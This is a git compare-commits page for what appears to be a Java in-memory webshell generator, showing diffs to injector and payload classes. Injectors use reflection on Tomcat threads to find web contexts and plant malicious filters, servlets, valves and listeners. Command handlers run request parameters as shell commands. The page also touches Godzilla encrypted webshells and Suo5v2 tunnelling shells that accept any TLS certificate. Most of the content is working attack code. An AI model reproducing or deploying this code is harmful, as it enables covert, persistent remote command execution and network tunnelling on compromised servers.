Compare commits

...
25 Commits
Author SHA1 Message Date
ReaJason 7f176dd443 docs: update changelog 2025-12-16 21:59:39 +08:00
ReaJason 43c410e653 chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason b9efe6dac5 docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 930edbc8b0 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0f473311f9 docs: update 2025-12-16 21:55:21 +08:00
ReaJason b412e9206d fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason d9205aaff7 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 4dda9236ca docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 694e60bd23 docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason 25ffe5bb14 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason e9265b52f5 style: format code 2025-12-16 21:55:21 +08:00
ReaJason e872e0cd06 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason b6219628ae feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason 0d1fab8740 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason e9fb20fa07 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason 97e365e935 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 75e3ed595a fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason ab4ad88d6e fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 9abea930b3 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ab8773b177 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 0de0efef9c chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason 3d5851f3ae docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason 9c298a2303 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 b846f67c34 fix: close response outputstream in suo5v2 2025-12-14 18:45:58 +08:00
zema1 1e5f7dd281 feat: remove uneeded code 2025-12-14 18:45:58 +08:00
170 changed files with 4102 additions and 4656 deletions
+3 -1
View File
@@ -1,6 +1,6 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.7"
id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7"
}
@@ -21,6 +21,8 @@ configurations {
}
}
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies {
implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging")
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
}
@@ -3,7 +3,7 @@ plugins {
}
mavenPublishing {
publishToMavenCentral(true)
publishToMavenCentral()
signAllPublications()
coordinates(
"io.github.reajason",
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.4.0"
version = "2.4.1"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
+4 -5
View File
@@ -1,5 +1,5 @@
plugins {
id("java")
id("java-library")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
@@ -29,17 +29,16 @@ tasks.test {
dependencies {
implementation(project(":memshell-party-common"))
implementation(project(":packer"))
implementation(libs.byte.buddy)
api(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
implementation(libs.javax.servlet.api)
implementation(libs.spring.webmvc)
implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher)
@@ -35,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/**
* 命令执行模板,例如 sh -c "{command}" 2>&1使用 {command} 作为占位符
* 命令执行模板,使用 {command} 作为占位符
*/
private String template;
@@ -22,8 +22,8 @@ public final class ProcessorRegistry {
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new ShrinkPostProcessor(),
new JettyHandlerPostProcessor()
new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
);
private ProcessorRegistry() {
@@ -80,7 +80,7 @@ public class ApusicFilterInjector {
/**
* context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule
* context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
public Set<Object> getContext() throws Exception {
@@ -84,12 +84,24 @@ public class TomcatFilterInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -71,15 +71,27 @@ public class TomcatListenerInjector {
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -100,12 +100,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -81,12 +81,24 @@ public class TomcatServletInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -80,12 +80,24 @@ public class TomcatUpgradeInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -74,12 +74,24 @@ public class TomcatValveInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -80,12 +80,24 @@ public class TomcatWebSocketInjector {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
@@ -27,6 +27,8 @@ public class Command {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return;
}
} catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return false;
}
} catch (Throwable e) {
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
}
} catch (Throwable e) {
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
}
if (p != null) {
String param = getParam(p);
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
InputStream inputStream = getInputStream(param);
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable ignored) {
}
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
inputStream.close();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return;
}
} catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Scanner;
/**
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
public void onMessage(String cmd) {
try {
InputStream inputStream = getInputStream(getParam(cmd));
byte[] buf = new byte[8192];
int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
session.getBasicRemote().sendText(outputStream.toString());
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
} catch (Throwable e) {
e.printStackTrace();
}
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -183,7 +183,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
} catch (Throwable ignored) {
} finally {
try {
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.flush();
out.close();
} catch (Throwable ignore) {}
}
}
@@ -162,7 +162,11 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -988,109 +992,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -167,7 +167,11 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -993,109 +997,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
for (int i = 0; i < cookieVals.size(); i++) {
String val = (String) cookieVals.get(i);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
}
Enumeration headerNames = request.getHeaderNames();
while (headerNames != null && headerNames.hasMoreElements()) {
String headerName = (String) headerNames.nextElement();
String val = request.getHeader(headerName);
if (val.length() >= 12) {
if (is_valid(val.substring(val.length() - 8), 430) != null) {
return val;
}
}
}
return null;
}
private byte[] is_valid(String data, int sum) {
try {
byte[] result = base64UrlDecode(data);
if (result.length < 6) {
return null;
} else {
int i = result.length - 2;
int j = result.length - 3;
int p = result.length - 5;
int q = result.length - 6;
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
return valid ? result : null;
}
} catch (Exception var8) {
return null;
}
}
private boolean isOdd(int i) {
return (i & 1) == 1;
}
private int toUInt(byte x) {
return x & 255;
}
public static String md5(byte[] content) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
byte[] md5Bytes = md.digest(content);
// no String.format in java1.4
StringBuffer sb = new StringBuffer();
for (int i = 0; i < md5Bytes.length; i++) {
byte b = md5Bytes[i];
int value = b & 0xFF;
if (value < 16) {
sb.append('0');
}
sb.append(Integer.toHexString(value));
}
return sb.toString();
}
private ArrayList cookieValues(String cookieValue) {
ArrayList values = new ArrayList();
String[] cookiePairs = cookieValue.split(";");
for (int i = 0; i < cookiePairs.length; i++) {
String pair = cookiePairs[i];
String[] keyValue = pair.split("=", 2);
if (keyValue.length >= 2) {
values.add(keyValue[1].trim());
}
}
return values;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
@@ -179,7 +179,11 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
}
} catch (Throwable e) {
} finally {
try {
OutputStream out = resp.getOutputStream();
out.flush();
out.close();
} catch (Throwable ignored) {}
}
}
@@ -1005,109 +1009,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
return new String(randomChars);
}
private int toOffset(byte[] bs) {
if (bs == null || bs.length != 4) {
return 0;
}
try {
bs = base64UrlDecode(new String(bs));
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
} catch (Exception e) {
return 0;
}
}
private String getOffset(HttpServletRequest request) {
String cookieValue = request.getHeader("Cookie");
if (cookieValue != null && cookieValue.length() > 0) {
ArrayList cookieVals = cookieValues(cookieValue);
